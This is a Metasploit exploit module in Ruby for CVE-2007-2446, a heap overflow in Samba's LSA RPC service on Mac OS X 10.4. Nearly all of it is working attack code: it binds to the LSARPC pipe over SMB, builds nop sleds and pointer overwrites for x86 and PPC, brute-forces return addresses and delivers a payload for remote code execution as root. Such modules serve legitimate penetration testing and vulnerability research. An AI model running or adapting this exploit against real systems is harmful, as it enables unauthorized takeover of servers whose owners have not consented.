1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11
  include Msf::Exploit::Brute
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Samba lsa_io_trans_names Heap Overflow',
18
        'Description' => %q{
19
          This module triggers a heap overflow in the LSA RPC service
20
          of the Samba daemon. This module uses the szone_free() to overwrite
21
          the size() or free() pointer in initial_malloc_zones structure.
22
        },
23
        'Author' => [
24
          'Ramon de C Valle',
25
          'Adriano Lima <adriano[at]risesecurity.org>',
26
          'hdm'
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['CVE', '2007-2446'],
31
          ['OSVDB', '34699'],
32
        ],
33
        'Privileged' => true,
34
        'Payload' => {
35
          'Space' => 1024,
36
        },
37
        'Platform' => 'osx',
38
        'DefaultOptions' => {
39
          'PrependSetresuid' => true,
40
        },
41
        'Targets' => [
42
          [
43
            'Mac OS X 10.4.x x86 Samba 3.0.10',
44
            {
45
              'Platform' => 'osx',
46
              'Arch' => [ ARCH_X86 ],
47
              'Nops' => 4 * 1024,
48
              'Bruteforce' =>
49
                {
50
                  'Start' => { 'Ret' => 0x01818000 },
51
                  'Stop' => { 'Ret' => 0x01830000 },
52
                  'Step' => 3351,
53
                },
54
            }
55
          ],
56
          [
57
            'Mac OS X 10.4.x PPC Samba 3.0.10',
58
            {
59
              'Platform' => 'osx',
60
              'Arch' => [ ARCH_PPC ],
61
              'Nops' => 1600,
62
              'Bruteforce' =>
63
                {
64
                  'Start' => { 'Ret' => 0x01813000 },
65
                  'Stop' => { 'Ret' => 0x01830000 },
66
                  'Step' => 796,
67
                }
68
            }
69
          ],
70
          [
71
            'DEBUG',
72
            {
73
              'Platform' => 'osx',
74
              'Arch' => [ ARCH_X86 ],
75
              'Nops' => 4 * 1024,
76
              'Bruteforce' =>
77
                {
78
                  'Start' => { 'Ret' => 0xaabbccdd },
79
                  'Stop' => { 'Ret' => 0xaabbccdd },
80
                  'Step' => 0,
81
                }
82
            }
83
          ],
84
        ],
85
        'DisclosureDate' => '2007-05-14',
86
        'Notes' => {
87
          'Reliability' => UNKNOWN_RELIABILITY,
88
          'Stability' => UNKNOWN_STABILITY,
89
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
90
        }
91
      )
92
    )
93

94
    register_options(
95
      [
96
        OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
97
      ]
98
    )
99
  end
100

101
  # Handle a strange byteswapping issue on PPC
102
  def ppc_byteswap(addr)
103
    data = [addr].pack('N')
104
    (data[1, 1] + data[0, 1] + data[3, 1] + data[2, 1]).unpack('N')[0]
105
  end
106

107
  def brute_exploit(target_addrs)
108
    if (not @nops)
109
      if (target['Nops'] > 0)
110
        print_status("Creating nop sled....")
111
        @nops = make_nops(target['Nops'])
112
      else
113
        @nops = ''
114
      end
115
    end
116

117
    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
118

119
    pipe = datastore['SMBPIPE'].downcase
120

121
    print_status("Connecting to the SMB service...")
122
    connect()
123
    smb_login()
124

125
    datastore['DCERPC::fake_bind_multi'] = false
126

127
    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
128
    print_status("Binding to #{handle} ...")
129
    dcerpc_bind(handle)
130
    print_status("Bound to #{handle} ...")
131

132
    num_entries = 256
133
    num_entries2 = 257
134

135
    #
136
    # First talloc_chunk
137
    # 16 bits align
138
    # 16 bits sid_name_use
139
    #     16 bits uni_str_len
140
    #     16 bits uni_max_len
141
    #     32 bits buffer
142
    # 32 bits domain_idx
143
    #
144
    buf = (('A' * 16) * num_entries)
145

146
    # Padding
147
    buf << 'A' * 4
148

149
    #
150
    # Use the szone_free() to overwrite the size() pointer in
151
    # initial_malloc_zones structure.
152
    #
153
    size_pointer = 0x1800008
154

155
    # Initial nops array
156
    nops = ''
157

158
    # x86
159
    if (target.arch.include?(ARCH_X86))
160

161
      #
162
      # We don't use the size() pointer anymore because it
163
      # results in a unexpected behavior when smbd process
164
      # is started by launchd.
165
      #
166
      free_pointer = 0x1800018
167
      nop = "\x16"
168

169
      #
170
      # First talloc_chunk
171
      # 16 bits align
172
      # 16 bits sid_name_use
173
      #     16 bits uni_str_len
174
      #     16 bits uni_max_len
175
      #     32 bits buffer
176
      # 32 bits domain_idx
177
      #
178

179
      # First nop block
180
      buf = ((nop * 16) * num_entries)
181

182
      #
183
      # A nop block of 0x16 (pushl %ss) and the address of
184
      # 0x1800014 results in a jns instruction which when
185
      # executed will jump over the address written eight
186
      # bytes past our target address by szone_free() (the
187
      # sign flag is zero at the moment our target address is
188
      # executed).
189
      #
190
      # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
191
      #
192
      # This is the output of the sequence of xor operations
193
      #   0:   79 23                   jns    0x25
194
      #   2:   96                      xchgl  %eax,%esi
195
      #   3:   17                      popl   %ss
196
      #   4:   16                      pushl  %ss
197
      #   5:   16                      pushl  %ss
198
      #   6:   16                      pushl  %ss
199
      #   7:   16                      pushl  %ss
200
      #   8:   14 00                   adcb   $0x0,%al
201
      #   a:   80 01 16                addb   $0x16,(%ecx)
202
      #
203
      # This jump is needed because the ecx register does not
204
      # point to a valid memory location in free() context
205
      # (it is zero).
206
      #
207
      # The jump will hit our nop block which will be executed
208
      # until it reaches the payload.
209
      #
210

211
      # Padding nops
212
      buf << nop * 2
213

214
      # Jump over the pointers
215
      buf << "\xeb\x08"
216

217
      # Pointers
218
      buf << [target_addrs['Ret']].pack('V')
219
      buf << [free_pointer - 4].pack('V')
220

221
      #
222
      # We expect to hit this nop block or the one before
223
      # the pointers.
224
      #
225
      buf << nop * (3852 - 8 - payload.encoded.length)
226

227
      # Payload
228
      buf << payload.encoded
229

230
      # Padding nops
231
      buf << nop * 1024
232

233
      stub = lsa_open_policy(dcerpc)
234

235
      stub << NDR.long(0)            # num_entries
236
      stub << NDR.long(0)            # ptr_sid_enum
237
      stub << NDR.long(num_entries)  # num_entries
238
      stub << NDR.long(0x20004)      # ptr_trans_names
239
      stub << NDR.long(num_entries2) # num_entries2
240
      stub << buf
241

242
    # PPC
243
    else
244

245
      #
246
      #  The first half of the nop sled is an XOR encoded branch
247
      #  instruction. The second half is a series of unencoded nop
248
      #  instructions. The result is:
249
      #
250
      #  > This is the decoded branch instruction
251
      #  0x181c380:      bl      0x181c6a0
252
      #
253
      #  > The size pointer is written below this
254
      #  0x181c384:      .long 0x1800004
255
      #
256
      #  > Followed by the encoded branch sled
257
      #  0x181c388:      ba      0x180365c
258
      #  [ ... ]
259
      #
260
      #  > The branch lands in the normal nop sled
261
      #  0x181c6a0:      andi.   r17,r16,58162
262
      #  [ ... ]
263
      #
264
      #  > Finally we reach our payload :-)
265
      #
266

267
      size_pointer = size_pointer - 4
268

269
      sled = target['Nops']
270
      jump = [ 0x357b ^ (size_pointer ^ (0x48000001 + sled / 2)) ].pack('N')
271
      nops = (jump * (sled / 8)) + @nops[0, sled / 8]
272

273
      addr_size = ppc_byteswap(size_pointer)
274
      addr_ret = ppc_byteswap(target_addrs['Ret'])
275

276
      # This oddness is required for PPC
277
      buf << [addr_size].pack('N')
278
      buf << [addr_ret ].pack('N')[2, 2]
279
      buf << [addr_ret ].pack('N')
280

281
      # Padding
282
      buf << "A" * (256 - 10)
283

284
      stub = lsa_open_policy(dcerpc)
285

286
      stub << NDR.long(0)            # num_entries
287
      stub << NDR.long(0)            # ptr_sid_enum
288
      stub << NDR.long(num_entries)  # num_entries
289
      stub << NDR.long(0x20004)      # ptr_trans_names
290
      stub << NDR.long(num_entries2) # num_entries2
291
      stub << buf
292
      stub << nops
293
      stub << payload.encoded
294
    end
295

296
    print_status("Calling the vulnerable function...")
297

298
    begin
299
      # LsarLookupSids
300
      dcerpc.call(0x0f, stub)
301
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
302
      print_status('Server did not respond, this is expected')
303
    rescue Rex::Proto::DCERPC::Exceptions::Fault
304
      print_error('Server is most likely patched...')
305
    rescue => e
306
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
307
        print_status('Server disconnected, this is expected')
308
      else
309
        print_error("Error: #{e.class}: #{e}")
310
      end
311
    end
312

313
    handler
314
    disconnect
315
  end
316

317
  def lsa_open_policy(dcerpc, server = "\\")
318
    stubdata =
319
      # Server
320
      NDR.uwstring(server) +
321
      # Object Attributes
322
      NDR.long(24) + # SIZE
323
      NDR.long(0) + # LSPTR
324
      NDR.long(0) + # NAME
325
      NDR.long(0) + # ATTRS
326
      NDR.long(0) + # SEC DES
327
      # LSA QOS PTR
328
      NDR.long(1) + # Referent
329
      NDR.long(12) + # Length
330
      NDR.long(2) + # Impersonation
331
      NDR.long(1) + # Context Tracking
332
      NDR.long(0) + # Effective Only
333
      # Access Mask
334
      NDR.long(0x02000000)
335

336
    res = dcerpc.call(6, stubdata)
337

338
    dcerpc.last_response.stub_data[0, 20]
339
  end
340
end
341

342